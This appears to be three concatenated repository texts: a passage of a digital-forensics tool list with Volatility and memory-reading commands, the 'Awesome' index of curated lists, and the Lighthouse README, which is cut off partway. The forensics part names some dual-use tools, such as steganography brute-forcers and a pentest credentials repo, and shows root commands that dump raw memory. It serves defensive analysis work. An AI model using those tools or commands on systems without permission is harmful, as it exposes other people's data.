- [Rekalll Memory Forensics Framework](https://github.com/google/rekall) - The Rekall Framework is a completely open collection of tools, implemented in Python under the Apache and GNU General Public License, for the extraction and analysis of digital artifacts computer systems.
- [Rekall Memory Forensics with Michael Cohen (Google)](https://digital-forensics.sans.org/summit-archives/dfirprague14/Rekall_Memory_Forensics_Michael_Cohen.pdf)
- [Volatility](https://github.com/volatilityfoundation/volatility) - An advanced memory forensics framework [www.volatilityfoundation.org](https://www.volatilityfoundation.org/). [Githbu wiki](https://github.com/volatilityfoundation/volatility/wiki).
- [Basic Volatilty Usage](https://samsclass.info/121/proj/p5-Vol.htm)
- [Intro to Linux memory forensics](https://stuxnet999.github.io/dfir/2020/09/20/Linux-Memory-Forensics.html)
- [How to analyze a VMware memory image with Volatility](https://andreafortuna.org/2019/04/03/how-to-analyze-a-vmware-memory-image-with-volatility/)
- [inspecting powershell based artifacts](https://github.com/cecio/volatility-plugin-powersh) - My volatility plugin for inspecting powershell based artifacts
- [MalConfScan](https://github.com/JPCERTCC/MalConfScan) - Volatility plugin for extracts configuration data of known malware.
- [Memory analysis of the KBeast Linux rootkit](https://apps.dtic.mil/sti/pdfs/AD1004348.pdf)
- [Volatility profiles](https://github.com/p0dalirius/volatility-profiles) - Memory mapping profiles for forensic analysis using volatility.
- [Volatility3](https://github.com/volatilityfoundation/volatility3)
- [Orochi](https://github.com/LDO-CERT/orochi) - The Volatility Collaborative GUI.
- [plugins](https://github.com/volatilityfoundation/community) - Volatility plugins developed and maintained by the community.
Vilatility commands
````powershell
python vol.py -f image.raw imageinfo
python vol.py -f image.raw –profile=Win7SPI1x64 pslist
python vol.py -f image.raw –profile=Win7SPI1x64 pslist netscan
python vol.py -f image.raw –profile=Win7SPI1x64 pslist netscan |grep -vi closed
python vol.py -f image.raw –profile=Win7SPI1x64 psxview
````
- Convert the memory image to a dump ready for analysis:
````powershell
volatility -f memory_image.vmem -O raw_image --profile=Win8SP0x86 raw2dmp
````
Linux Commands
````powershell
sudo strings /dev/mem > mem-strings.txt
sudo strings /dev/mem | less
sudo strings -w /dev/mem | less #-w = includes whitespace
````
- [VolWeb](https://github.com/k1nd0ne/VolWeb) - A centralized and enhanced memory analysis platform
## Network forensic tools
- [A Docker forensics toolkit](https://github.com/docker-forensics-toolkit/toolkit) - A toolkit for the post-mortem examination of Docker containers from forensic HDD copies.
- [CyberChef](https://github.com/gchq/cyberchef) - The Cyber Swiss Army Knife - a web app for encryption, encoding, compression and data analysis.
- [gchq.github.io/CyberChef](https://gchq.github.io/CyberChef)
- [Dshell](https://github.com/USArmyResearchLab/Dshell) - Dshell is a network forensic analysis framework.
- [Flare-fakenet-ng](https://github.com/fireeye/flare-fakenet-ng) - Next Generation Dynamic Network Analysis Tool.
- [Netsniff-ng](https://github.com/netsniff-ng/netsniff-ng) - A Swiss army knife for your daily Linux network plumbing. [netsniff-ng.org](http://netsniff-ng.org/)
- [NetworkMiner](https://www.netresec.com/?page=Networkminer) - open source Network Forensic Analysis Tool (NFAT) for Windows (but also works in Linux / Mac OS X / FreeBSD).
- [Packet Strider](https://github.com/benjeems/packetStrider) - A network packet forensics tool for SSH.
- [PcapXray](https://github.com/Srinivas11789/PcapXray) - :snowflake: PcapXray - A Network Forensics Tool - To visualize a Packet Capture offline as a Network Diagram including device identification, highlight important communication and file extraction
- [unfurl](https://github.com/obsidianforensics/unfurl) - Extract and Visualize Data from URLs using Unfurl.
### Containers
- [Dive](https://github.com/wagoodman/dive) - A tool for exploring each layer in a docker image
- [SecretScanner](https://github.com/deepfence/SecretScanner) - Find secrets and passwords in container images and file systems.
## Operating Systems specialized for forensics
- [DEFT Linux](http://na.mirror.garr.it/mirrors/deft/) - DEFT Linux A Linux Distribution For Computer Forensics
- [REMnux](https://remnux.org/) - REMnux® is a Linux toolkit for reverse-engineering and analyzing malicious software. REMnux provides a curated collection of free tools created by the community. Analysts can use it to investigate malware without having to find, install, and configure the tools. Lots of tools in /opt/ folder.
- [SIFT Workstation](https://digital-forensics.sans.org/community/downloads)
- [SIFT CLI](https://github.com/teamdfir/sift-cli) - CLI tool to manage a SIFT Install.
## PE (Portable Executable) Analysis
Description: The Portable Executable format is a file format for executables, object code, DLLs and others used in 32-bit and 64-bit versions of Windows operating systems.
- [AnalyzePE](https://github.com/hiddenillusion/AnalyzePE) - Wraps around various tools and provides some additional checks/information to produce a centralized report of a PE file.
- [Cerbero Suite](https://cerbero.io/)
- [CFF Explorer / Explorer Suite](http://www.ntcore.com/exsuite.php)
- [Dump2exe](https://github.com/whikernel/dump2exe) - Extract PE binaries from dumps.
- [DynLogger](https://www.ntcore.com/?page_id=376) - logs all dynamically retrieved functions by reporting the module name and the requested function. It also logs loaded modules. It can come very handy when one wants to know a “hidden” function used by an application.
## Process Analysis
- [Aes-finder](https://github.com/mmozeiko/aes-finder) - Utility to find AES keys in running processes.
- [Process Dump (Windows))](https://github.com/glmcdona/Process-Dump) - Windows tool for dumping malware PE files from memory back to disk for analysis.
## Recover deletes files
- [Recoverpy](https://github.com/PabloLec/recoverpy) - A TUI to recover overwritten or deleted data.
## Scripts and Tools
- [Creds](https://github.com/S3cur3Th1sSh1t/Creds) - Some usefull Scripts and Executables for Pentest & Forensics.
- [LinuxForensics](https://github.com/ashemery/LinuxForensics) - Everything related to Linux Forensics.
## Smartphone Devices
- [House](https://github.com/nccgroup/house) - A runtime mobile application analysis toolkit with a Web GUI, powered by Frida, written in Python.
- [MVT](https://github.com/mvt-project/mvt) - MVT is a forensic tool to look for signs of infection in smartphone devices.
### Android
- [Snoopdroid 2](https://github.com/botherder/snoopdroid2) - Snoopdroid 2 is a portable tool to simplify the acquisition of relevant forensic data from Android devices. It is the successor of Snoopdroid, re-written in Go and leveraging official adb binaries.
### iOS
- [OSXCollector](https://github.com/Yelp/osxcollector) - A forensic evidence collection & analysis toolkit for OS X.
## Static Analysis
- [CodeAnalysis](https://github.com/Tencent/CodeAnalysis) - Static Code Analysis.
- [semgrep](https://github.com/returntocorp/semgrep) - Lightweight static analysis for many languages. Find bug variants with patterns that look like source code.
## Steganography
- [DanielSchetritt's Steganography](https://github.com/DanielSchetritt/Steganography) - demonstration for a computer security class.
- [StegBrute](https://github.com/R4yGM/stegbrute) - Fast Steganography bruteforce tool written in Rust useful for CTF's.
- [Steghide Brute Force Tool](https://github.com/Va5c0/Steghide-Brute-Force-Tool) - Execute a brute force attack with Steghide to file with hide information and password established.
Winpmem - The multi-platform memory acquisition tool.
https://github.com/Velocidex/WinPmem
https://winpmem.velocidex.com/
https://cybersecurity.uga.edu/thesis/galli_enrico_201208_ms.pdf
https://www.forensicfocus.com/articles/new-linux-distro/
https://linuxhint.com/kali_linux_forensics_tools/
https://gotdfs.com/
https://tunnelix.com/linux-memory-analysis-with-lime-and-volatility/
RedLine Linux https://www.red.com/download/redline-linux-beta
https://www.fireeye.com/services/freeware/redline.html
FF Explorer
|
# Awesome
> A curated list of awesome lists
## TOC
- [Platforms](#platforms)
- [Programming Languages](#programming-languages)
- [Front-end Development](#front-end-development)
- [Back-end Development](#back-end-development)
- [Computer Science](#computer-science)
- [Big Data](#big-data)
- [Theory](#theory)
- [Books](#books)
- [Editors](#editors)
- [Gaming](#gaming)
- [Developer Environment](#developer-environment)
- [Entertainment](#entertainment)
- [Databases](#databases)
- [Resources](#resources)
- [Learn](#learn)
- [Security](#security)
- [Platforms](#platforms)
- [Miscellaneous](#miscellaneous)
## Platforms
- [Node.js](https://github.com/sindresorhus/awesome-nodejs)
- [Frontend Development](https://github.com/dypsilon/frontend-dev-bookmarks)
- [iOS](https://github.com/vsouza/awesome-ios)
- [Android](https://github.com/JStumpp/awesome-android)
- [Hybrid Apps](https://github.com/weblancaster/awesome-hybrid)
- [Electron](https://github.com/sindresorhus/awesome-electron) *(formerly atom-shell)*
- [Cordova](https://github.com/busterc/awesome-cordova)
- [React Native](https://github.com/jondot/awesome-react-native)
## Programming Languages
- [JavaScript](https://github.com/sorrycc/awesome-javascript)
- [Swift](https://github.com/matteocrippa/awesome-swift)
- [Python](https://github.com/vinta/awesome-python)
- [Rust](https://github.com/kud1ing/awesome-rust)
- [Haskell](https://github.com/krispo/awesome-haskell)
- [PureScript](https://github.com/passy/awesome-purescript)
- [Go](https://github.com/avelino/awesome-go)
- [Scala](https://github.com/lauris/awesome-scala)
- [Ruby](https://github.com/markets/awesome-ruby)
- [Clojure](https://github.com/razum2um/awesome-clojure)
- [Elixir](https://github.com/h4cc/awesome-elixir)
- [Elm](https://github.com/isRuslan/awesome-elm)
- [Erlang](https://github.com/drobakowski/awesome-erlang)
- [Julia](https://github.com/svaksha/Julia.jl)
- [Lua](https://github.com/LewisJEllis/awesome-lua)
- [C](https://github.com/aleksandar-todorovic/awesome-c)
- [C/C++](https://github.com/fffaraz/awesome-cpp)
- [R](https://github.com/qinwf/awesome-R)
- [D](https://github.com/zhaopuming/awesome-d)
- [Common Lisp](https://github.com/kozross/awesome-cl)
- [Perl](https://github.com/hachiojipm/awesome-perl)
- [Groovy](https://github.com/kdabir/awesome-groovy)
- [Dart](https://github.com/yissachar/awesome-dart)
- [Java](https://github.com/akullpp/awesome-java)
- [OCaml](https://github.com/rizo/awesome-ocaml)
- [Coldfusion](https://github.com/seancoyne/awesome-coldfusion)
- [Fortran](https://github.com/rabbiabram/awesome-fortran)
- [.NET](https://github.com/quozd/awesome-dotnet)
- [PHP](https://github.com/ziadoz/awesome-php)
- [Delphi](https://github.com/Fr0sT-Brutal/awesome-delphi)
## Front-end Development
- [JavaScript Must Watch Talks](https://github.com/bolshchikov/js-must-watch)
- [ES6 Tools](https://github.com/addyosmani/es6-tools)
- [Web Performance Optimization](https://github.com/davidsonfellipe/awesome-wpo)
- [Web Tools](https://github.com/lvwzhen/tools)
- [Above-the-fold CSS Tools](https://github.com/addyosmani/above-the-fold-css-tools)
- [React](https://github.com/enaqx/awesome-react)
- [Web Components](https://github.com/mateusortiz/webcomponents-the-right-way)
- [Polymer](https://github.com/Granze/awesome-polymer)
- [AngularJS](https://github.com/gianarb/awesome-angularjs)
- [Backbone](https://github.com/instanceofpro/awesome-backbone)
- [HTML5](https://github.com/diegocard/awesome-html5)
- [Sass](https://github.com/HugoGiraudel/awesome-sass)
- [SVG](https://github.com/willianjusten/awesome-svg)
- [KnockoutJS](https://github.com/dnbard/awesome-knockout)
- [Dojo Toolkit](https://github.com/peterkokot/awesome-dojo)
- [Inspiration](https://github.com/NoahBuscher/Inspire)
- [Ember](https://github.com/nmec/awesome-ember)
- [Android UI](https://github.com/wasabeef/awesome-android-ui)
- [iOS UI](https://github.com/cjwirth/awesome-ios-ui)
- [Scalable CSS](https://github.com/davidtheclark/scalable-css-reading-list)
- [Meteor](https://github.com/gillesfabio/awesome-meteor)
- [BEM](https://github.com/sturobson/BEM-resources)
- [CSS Must-Watch Talks](https://github.com/AllThingsSmitty/must-watch-css)
- [Flexbox](https://github.com/afonsopacifer/awesome-flexbox)
- [Web Typography](https://github.com/deanhume/typography)
- [Web Accessibility](https://github.com/brunopulis/awesome-a11y)
- [Material Design](https://github.com/sachin1092/awesome-material)
## Back-end Development
- [Django](https://github.com/rosarior/awesome-django)
- [Flask](https://github.com/humiaozuzu/awesome-flask)
- [Docker](https://github.com/veggiemonk/awesome-docker)
- [Vagrant](https://github.com/iJackUA/awesome-vagrant)
- [Pyramid](https://github.com/ITCase/awesome-pyramid)
- [Play1 Framework](https://github.com/PerfectCarl/awesome-play1)
- [CakePHP](https://github.com/friendsofcake/awesome-cakephp)
- [Symfony2](https://github.com/EmanueleMinotto/awesome-symfony2)
- [Laravel](https://github.com/chiraggude/awesome-laravel)
- [Rails](https://github.com/ekremkaraca/awesome-rails)
- [Phalcon](https://github.com/sergeyklay/awesome-phalcon)
- [Useful `.htaccess` Snippets](https://github.com/phanan/htaccess)
## Computer Science
- [University Courses](https://github.com/prakhar1989/awesome-courses)
- [Data Science](https://github.com/okulbilisim/awesome-datascience)
- [Machine Learning](https://github.com/josephmisiti/awesome-machine-learning)
- [Speech and Natural Language Processing](https://github.com/edobashira/speech-language-processing)
- [Linguistics](https://github.com/theimpossibleastronaut/awesome-linguistics)
- [Cryptography](https://github.com/MaciejCzyzewski/retter)
- [Computer Vision](https://github.com/jbhuang0604/awesome-computer-vision)
## Big Data
- [Big Data](https://github.com/onurakpolat/awesome-bigdata)
- [Public Datasets](https://github.com/caesar0301/awesome-public-datasets)
- [Hadoop](https://github.com/youngwookim/awesome-hadoop)
## Theory
- [Papers We Love](https://github.com/papers-we-love/papers-we-love)
- [Talks](https://github.com/JanVanRyswyck/awesome-talks)
- [Algorithms](https://github.com/tayllan/awesome-algorithms)
- [Algorithm Visualizations](https://github.com/enjalot/algovis)
- [Artificial Intelligence](https://github.com/owainlewis/awesome-artificial-intelligence)
- [Search Engine Optimization](https://github.com/marcobiedermann/search-engine-optimization)
## Books
- [Free Programming Books](https://github.com/vhf/free-programming-books)
- [Free Software Testing Books](https://github.com/ligurio/free-software-testing-books/blob/master/free-software-testing-books.md)
- [GoBooks](https://github.com/dariubs/GoBooks)
## Editors
- [Sublime Text](https://github.com/dreikanter/sublime-bookmarks)
- [Vim](http://vimawesome.com)
- [Emacs](https://github.com/emacs-tw/awesome-emacs)
- [Atom](https://github.com/mehcode/awesome-atom)
## Gaming
- [Game Development](https://github.com/ellisonleao/magictools)
- [Game Talks](https://github.com/hzoo/awesome-gametalks)
- [Godot](https://github.com/Calinou/awesome-godot) *(Game engine)*
- [Open Source Games](https://github.com/leereilly/games)
## Developer Environment
- [Quick Look Plugins](https://github.com/sindresorhus/quick-look-plugins)
- [Dev Env](https://github.com/jondot/awesome-devenv)
- [Dotfiles](https://github.com/webpro/awesome-dotfiles)
- [Shell](https://github.com/alebcay/awesome-shell)
- [ZSH Plugins](https://github.com/unixorn/awesome-zsh-plugins)
- [Browser Extensions for GitHub](https://github.com/stefanbuck/awesome-browser-extensions-for-github)
## Entertainment
- [Science Fiction](https://github.com/sindresorhus/awesome-scifi)
- [Fantasy](https://github.com/RichardLitt/awesome-fantasy)
- [Podcasts](https://github.com/cv/awesome-geek-podcasts)
## Databases
- [Database](https://github.com/numetriclabz/awesome-db)
- [MySQL](https://github.com/shlomi-noach/awesome-mysql/blob/gh-pages/index.md)
- [SQLAlchemy](https://github.com/dahlia/awesome-sqlalchemy)
## Resources
- [Creative Commons Media](https://github.com/shime/creative-commons-media)
- [Images](https://github.com/heyalexej/awesome-images)
- [Fonts](https://github.com/brabadu/awesome-fonts)
## Learn
- [CLI Workshoppers/Adventures](https://github.com/therebelrobot/awesome-workshopper)
- [Learn to Program](https://github.com/karlhorky/learn-to-program)
## Security
- [Security](https://github.com/sbilly/awesome-security)
- [CTF](https://github.com/apsdehal/awesome-ctf)
- [Malware Analysis](https://github.com/rshipp/awesome-malware-analysis)
- [Android Security](https://github.com/ashishb/android-security-awesome)
## Miscellaneous
- [Analytics](https://github.com/onurakpolat/awesome-analytics)
- [Answers](https://github.com/jugoncalves/awesome-answers) *(Stack Overflow, Quora, etc)*
- [Awesome](https://github.com/sindresorhus/awesome)
- [Bitcoin](https://github.com/igorbarinov/awesome-bitcoin/)
- [Blogs](https://github.com/aleksandar-todorovic/awesome-blogs)
- [Boilerplate Projects](https://github.com/melvin0008/awesome-projects-boilerplates)
- [Conferences](https://github.com/RichardLitt/awesome-conferences)
- [Continuous Delivery](https://github.com/itech001/ciandcd)
- [Design and Development Guides](https://github.com/NARKOZ/guides)
- [Discounts for Student Developers](https://github.com/najela/discount-for-student-dev)
- [Endangered Languages](https://github.com/RichardLitt/endangered-languages)
- [FOSS for Developers](https://github.com/httpsGithubParty/FOSS-for-Dev)
- [Free for Developers](https://github.com/ripienaar/free-for-dev)
- [GeoJSON](https://github.com/tmcw/awesome-geojson)
- [Git Cheat Sheet](https://github.com/ArslanBilal/Git-Cheat-Sheet)
- [GitHub Cheat Sheet](https://github.com/tiimgreen/github-cheat-sheet)
- [JSON](https://github.com/burningtree/awesome-json)
- [Mad Science Modules](https://github.com/feross/mad-science-modules)
- [Maintainance Modules](https://github.com/maxogden/maintenance-modules) *(for npm packages)*
- [Open Companies](https://github.com/waldyrious/awesome-open-company)
- [PCAPTools](https://github.com/caesar0301/awesome-pcaptools)
- [Radio](https://github.com/kyleterry/awesome-radio)
- [Readme](https://github.com/matiassingers/awesome-readme)
- [Remote Jobs](https://github.com/lukasz-madon/awesome-remote-job)
- [REST](https://github.com/marmelab/awesome-rest)
- [Selenium](https://github.com/christian-bromann/awesome-selenium)
- [Services Engineering](https://github.com/mmcgrana/services-engineering)
- [Sketch](https://github.com/diessica/awesome-sketch) *(OS X app)*
- [Slack Communities](https://github.com/filipelinhares/awesome-slack)
- [Slack](https://github.com/matiassingers/awesome-slack)
- [Styleguides](https://github.com/RichardLitt/awesome-styleguides)
- [Sysadmin](https://github.com/kahun/awesome-sysadmin)
- [Tools](https://github.com/cjbarber/ToolsOfTheTrade)
## License
[](http://creativecommons.org/publicdomain/zero/1.0/)
To the extent possible under law, [Sindre Sorhus](http://sindresorhus.com) has waived all copyright and related or neighboring rights to this work.
|
# Lighthouse [](https://github.com/GoogleChrome/lighthouse/actions/workflows/ci.yml) [](https://github.com/GoogleChrome/lighthouse/actions/workflows/unit.yml) [](https://github.com/GoogleChrome/lighthouse/actions/workflows/smoke.yml) [](https://codecov.io/gh/GoogleChrome/lighthouse) [](https://lh-build-tracker.herokuapp.com/) [](https://npmjs.org/package/lighthouse)
> Lighthouse analyzes web apps and web pages, collecting modern performance metrics and insights on developer best practices.
- Using Lighthouse
- [Using Lighthouse in Chrome DevTools](#using-lighthouse-in-chrome-devtools)
- [Using the Chrome extension](#using-the-chrome-extension)
- [Using the Node CLI](#using-the-node-cli)
* [CLI options](#cli-options)
- [Using the Node module](#using-the-node-module)
- [Viewing a report](#viewing-a-report)
* [Online Viewer](#online-viewer)
- [Docs & Recipes](#docs--recipes)
- [Developing Lighthouse](#develop)
* [Setup](#setup)
* [Run](#run)
* [Tests](#tests)
* [Docs](#docs)
- Associated Products and Projects
- [Lighthouse Integrations in Web Perf services](#lighthouse-integrations-in-web-perf-services)
- [Lighthouse Integrations in non-Web Perf services](#lighthouse-integrations-in-non-web-perf-services)
- [Plugins](#plugins)
- [Related projects](#related-projects)
- [FAQ](#faq)
* [How does Lighthouse work?](#how-does-lighthouse-work)
* [Can I configure the lighthouse run?](#can-i-configure-the-lighthouse-run)
* [How does Lighthouse use network throttling, and how can I make it better?](#how-does-lighthouse-use-network-throttling-and-how-can-i-make-it-better)
* [Are results sent to a remote server?](#are-results-sent-to-a-remote-server)
* [How do I get localized Lighthouse results?](#how-do-i-get-localized-lighthouse-results-via-the-cli)
* [How do I author custom audits to extend Lighthouse?](#how-do-i-author-custom-audits-to-extend-lighthouse)
* [How do I contribute?](#how-do-i-contribute)
## Using Lighthouse in Chrome DevTools
Lighthouse is integrated directly into the Chrome DevTools, under the "Lighthouse" panel.
**Installation**: install [Chrome](https://www.google.com/chrome/browser).
**Run it**: open Chrome DevTools, select the Lighthouse panel, and hit "Generate report".
<img width="550" alt="Lighthouse integration in Chrome DevTools." src="https://user-images.githubusercontent.com/2766281/204185043-9c49abe5-baee-4b26-b5ce-ece410661213.png">
## Using the Chrome extension
The Chrome extension was available prior to Lighthouse being available in Chrome Developer Tools, and offers similar functionality.
**Installation**: [install the extension](https://chrome.google.com/webstore/detail/lighthouse/blipmdconlkpinefehnmjammfjpmpbjk) from the Chrome Web Store.
**Run it**: follow the [extension quick-start guide](https://developers.google.com/web/tools/lighthouse/#extension).
## Using the Node CLI
The Node CLI provides the most flexibility in how Lighthouse runs can be configured and reported. Users who want more advanced usage, or want to run Lighthouse in an automated fashion should use the Node CLI.
_Lighthouse requires Node 16 LTS (16.x) or later._
**Installation**:
```sh
npm install -g lighthouse
# or use yarn:
# yarn global add lighthouse
```
**Run it**: `lighthouse https://airhorner.com/`
By default, Lighthouse writes the report to an HTML file. You can control the output format by passing flags.
### CLI options
<!-- To update the help output:
node cli --help | pbcopy
-->
```
$ lighthouse --help
lighthouse <url> <options>
Logging:
--verbose Displays verbose logging [boolean] [default: false]
--quiet Displays no progress, debug logs, or errors [boolean] [default: false]
Configuration:
--save-assets Save the trace contents & devtools logs to disk [boolean] [default: false]
--list-all-audits Prints a list of all available audits and exits [boolean] [default: false]
--list-trace-categories Prints a list of all required trace categories and exits [boolean] [default: false]
--additional-trace-categories Additional categories to capture with the trace (comma-delimited). [string]
--config-path The path to the config JSON.
An example config file: core/config/lr-desktop-config.js [string]
--preset Use a built-in configuration.
WARNING: If the --config-path flag is provided, this preset will be ignored. [string] [choices: "perf", "experimental", "desktop"]
--chrome-flags Custom flags to pass to Chrome (space-delimited). For a full list of flags, see https://bit.ly/chrome-flags
Additionally, use the CHROME_PATH environment variable to use a specific Chrome binary. Requires Chromium version 66.0 or later. If omitted, any detected Chrome Canary or Chrome stable will be used. [string] [default: ""]
--port The port to use for the debugging protocol. Use 0 for a random port [number] [default: 0]
--hostname The hostname to use for the debugging protocol. [string] [default: "localhost"]
--form-factor Determines how performance metrics are scored and if mobile-only audits are skipped. For desktop, --preset=desktop instead. [string] [choices: "mobile", "desktop"]
--screenEmulation Sets screen emulation parameters. See also --preset. Use --screenEmulation.disabled to disable. Otherwise set these 4 parameters individually: --screenEmulation.mobile --screenEmulation.width=360 --screenEmulation.height=640 --screenEmulation.deviceScaleFactor=2
--emulatedUserAgent Sets useragent emulation [string]
--max-wait-for-load The timeout (in milliseconds) to wait before the page is considered done loading and the run should continue. WARNING: Very high values can lead to large traces and instability [number]
--enable-error-reporting Enables error reporting, overriding any saved preference. --no-enable-error-reporting will do the opposite. More: https://github.com/GoogleChrome/lighthouse/blob/main/docs/error-reporting.md [boolean]
--gather-mode, -G Collect artifacts from a connected browser and save to disk. (Artifacts folder path may optionally be provided). If audit-mode is not also enabled, the run will quit early.
--audit-mode, -A Process saved artifacts from disk. (Artifacts folder path may be provided, otherwise defaults to ./latest-run/)
--only-audits Only run the specified audits [array]
--only-categories Only run the specified categories. Available categories: accessibility, best-practices, performance, pwa, seo [array]
--skip-audits Run everything except these audits [array]
--budget-path The path to the budget.json file for LightWallet. [string]
--disable-full-page-screenshot Disables collection of the full page screenshot, which can be quite large [boolean]
Output:
--output Reporter for the results, supports multiple values. choices: "json", "html", "csv" [array] [default: ["html"]]
--output-path The file path to output the results. Use 'stdout' to write to stdout.
If using JSON output, default is stdout.
If using HTML or CSV output, default is a file in the working directory with a name based on the test URL and date.
If using multiple outputs, --output-path is appended with the standard extension for each output type. "reports/my-run" -> "reports/my-run.report.html", "reports/my-run.report.json", etc.
Example: --output-path=./lighthouse-results.html [string]
--view Open HTML report in your browser [boolean] [default: false]
Options:
--version Show version number [boolean]
--help Show help [boolean]
--cli-flags-path The path to a JSON file that contains the desired CLI flags to apply. Flags specified at the command line will still override the file-based ones.
--locale The locale/language the report should be formatted in
--blocked-url-patterns Block any network requests to the specified URL patterns [array]
--disable-storage-reset Disable clearing the browser cache and other storage APIs before a run [boolean]
--throttling-method Controls throttling method [string] [choices: "devtools", "provided", "simulate"]
--throttling
--throttling.rttMs Controls simulated network RTT (TCP layer)
--throttling.throughputKbps Controls simulated network download throughput
--throttling.requestLatencyMs Controls emulated network RTT (HTTP layer)
--throttling.downloadThroughputKbps Controls emulated network download throughput
--throttling.uploadThroughputKbps Controls emulated network upload throughput
--throttling.cpuSlowdownMultiplier Controls simulated + emulated CPU throttling
--extra-headers Set extra HTTP Headers to pass with request
--precomputed-lantern-data-path Path to the file where lantern simulation data should be read from, overwriting the lantern observed estimates for RTT and server latency. [string]
--lantern-data-output-path Path to the file where lantern simulation data should be written to, can be used in a future run with the `precomputed-lantern-data-path` flag. [string]
--plugins Run the specified plugins [array]
--channel [string] [default: "cli"]
--chrome-ignore-default-flags [boolean] [default: false]
Examples:
lighthouse <url> --view Opens the HTML report in a browser after the run completes
lighthouse <url> --config-path=./myconfig.js Runs Lighthouse with your own configuration: custom audits, report generation, etc.
lighthouse <url> --output=json --output-path=./report.json --save-assets Save trace, screenshots, and named JSON report.
lighthouse <url> --screenEmulation.disabled --throttling-method=provided --no-emulatedUserAgent Disable device emulation and all throttling
lighthouse <url> --chrome-flags="--window-size=412,660" Launch Chrome with a specific window size
lighthouse <url> --quiet --chrome-flags="--headless" Launch Headless Chrome, turn off logging
lighthouse <url> --extra-headers "{\"Cookie\":\"monster=blue\", \"x-men\":\"wolverine\"}" Stringify'd JSON HTTP Header key/value pairs to send in requests
lighthouse <url> --extra-headers=./path/to/file.json Path to JSON file of HTTP Header key/value pairs to send in requests
lighthouse <url> --only-categories=performance,pwa Only run the specified categories. Available categories: accessibility, best-practices, performance, pwa, seo
For more information on Lighthouse, see https://developers.google.com/web/tools/lighthouse/.
```
##### Output Examples
```sh
lighthouse
# saves `./<HOST>_<DATE>.report.html`
lighthouse --output json
# json output sent to stdout
lighthouse --output html --output-path ./report.html
# saves `./report.html`
# NOTE: specifying an output path with multiple formats ignores your specified extension for *ALL* formats
lighthouse --output json --output html --output-path ./myfile.json
# saves `./myfile.report.json` and `./myfile.report.html`
lighthouse --output json --output html
# saves `./<HOST>_<DATE>.report.json` and `./<HOST>_<DATE>.report.html`
lighthouse --output-path=~/mydir/foo.out --save-assets
# saves `~/mydir/foo.report.html`
# saves `~/mydir/foo-0.trace.json` and `~/mydir/foo-0.devtoolslog.json`
lighthouse --output-path=./report.json --output json
# saves `./report.json`
```
##### Lifecycle Examples
You can run a subset of Lighthouse's lifecycle if desired via the `--gather-mode` (`-G`) and `--audit-mode` (`-A`) CLI flags.
```sh
lighthouse http://example.com -G
# launches browser, collects artifacts, saves them to disk (in `./latest-run/`) and quits
lighthouse http://example.com -A
# skips browser interaction, loads artifacts from disk (in `./latest-run/`), runs audits on them, generates report
lighthouse http://example.com -GA
# Normal gather + audit run, but also saves collected artifacts to disk for subsequent -A runs.
# You can optionally provide a custom folder destination to -G/-A/-GA. Without a value, the default will be `$PWD/latest-run`.
lighthouse -GA=./gmailartifacts https://gmail.com
```
#### Notes on Error Reporting
The first time you run the CLI you will be prompted with a message asking you if Lighthouse can anonymously report runtime exceptions. The Lighthouse team uses this information to detect new bugs and avoid regressions. Opting out will not affect your ability to use Lighthouse in any way. [Learn more](https://github.com/GoogleChrome/lighthouse/blob/main/docs/error-reporting.md).
## Using the Node module
You can also use Lighthouse programmatically with the Node module.
Read [Using Lighthouse programmatically](./docs/readme.md#using-programmatically) for help getting started.\
Read [Lighthouse Configuration](./docs/configuration.md) to learn more about the configuration options available.
## Viewing a report
Lighthouse can produce a report as JSON or HTML.
HTML report:
<img src="https://raw.githubusercontent.com/GoogleChrome/lighthouse/443ff2c8a297dfd2297dfaca86c4966a87c8574a/assets/example_audit.png" alt="Lighthouse example audit" width="500px">
### Online Viewer
Running Lighthouse with the `--output=json` flag generates a JSON dump of the run.
You can view this report online by visiting <https://googlechrome.github.io/lighthouse/viewer/>
and dragging the file onto the app. You can also use the "Export" button from the
top of any Lighthouse HTML report and open the report in the
[Lighthouse Viewer](https://googlechrome.github.io/lighthouse/viewer/).
In the Viewer, reports can be shared by clicking the share icon in the top
right corner and signing in to GitHub.
> **Note**: shared reports are stashed as a secret Gist in GitHub, under your account.
## Docs & Recipes
Useful documentation, examples, and recipes to get you started.
**Docs**
- [Dealing with variance](./docs/variability.md)
- [Using Lighthouse programmatically](./docs/readme.md#using-programmatically)
- [Testing a site with authentication](./docs/authenticated-pages.md)
- [Developing Plugins](./docs/plugins.md)
- [Making a New Audit](./docs/new-audits.md)
- [Testing on a mobile device](./docs/readme.md#testing-on-a-mobile-device)
- [Setting a performance budget](./docs/performance-budgets.md)
- [Lighthouse Architecture](./docs/architecture.md)
**Recipes**
- [Plugin](./docs/recipes/lighthouse-plugin-example) - example Lighthouse plugin
- [Custom Audit example](./docs/recipes/custom-audit) - extend Lighthouse, run your own audits
**Videos**
The session from Google I/O 2018 covers the new performance engine, upcoming Lighthouse REST API, and using the Chrome UX report to evaluate real-user data.
[](https://www.youtube.com/watch?v=UvK9zAsSM8Q)
The session from Google I/O 2017 covers architecture, writing custom audits,
GitHub/Travis/CI integration, headless Chrome, and more:
[](https://www.youtube.com/watch?v=NoRYn6gOtVo)
_Click the image to watch the video on YouTube._
## Develop
Read on for the basics of hacking on Lighthouse. Also, see [Contributing](./CONTRIBUTING.md)
for detailed information.
### Setup
```sh
# yarn should be installed first
git clone https://github.com/GoogleChrome/lighthouse
cd lighthouse
yarn
yarn build-all
```
### Run
```sh
node cli http://example.com
# append --chrome-flags="--no-sandbox --headless --disable-gpu" if you run into problems connecting to Chrome
```
> **Getting started tip**: `node --inspect-brk cli http://example.com` to open up Chrome DevTools and step
through the entire app. See [Debugging Node.js with Chrome
DevTools](https://medium.com/@paul_irish/debugging-node-js-nightlies-with-chrome-devtools-7c4a1b95ae27#.59rma3ukm)
for more info.
### Tests
```sh
# lint and test all files
yarn test
# run all unit tests
yarn unit
# run a given unit test (e.g. core/test/audits/byte-efficiency/uses-long-cache-ttl-test.js)
yarn mocha uses-long-cache-ttl
# watch for file changes and run tests
# Requires http://entrproject.org : brew install entr
yarn watch
## run linting, unit, and smoke tests separately
yarn lint
yarn unit
yarn smoke
## run tsc compiler
yarn type-check
```
### Docs
Some of our docs have tests that run only in CI by default. To modify our documentation, you'll need to run `yarn build-pack && yarn test-docs` locally to make sure they pass.
**Additional Dependencies**
- `brew install jq`
## Lighthouse Integrations in Web Perf services
This section details services that have integrated Lighthouse data. If you're working on a cool project integrating Lighthouse and would like to be featured here, file an issue to this repo or tweet at us [@_____lighthouse](https://twitter.com/____lighthouse)!
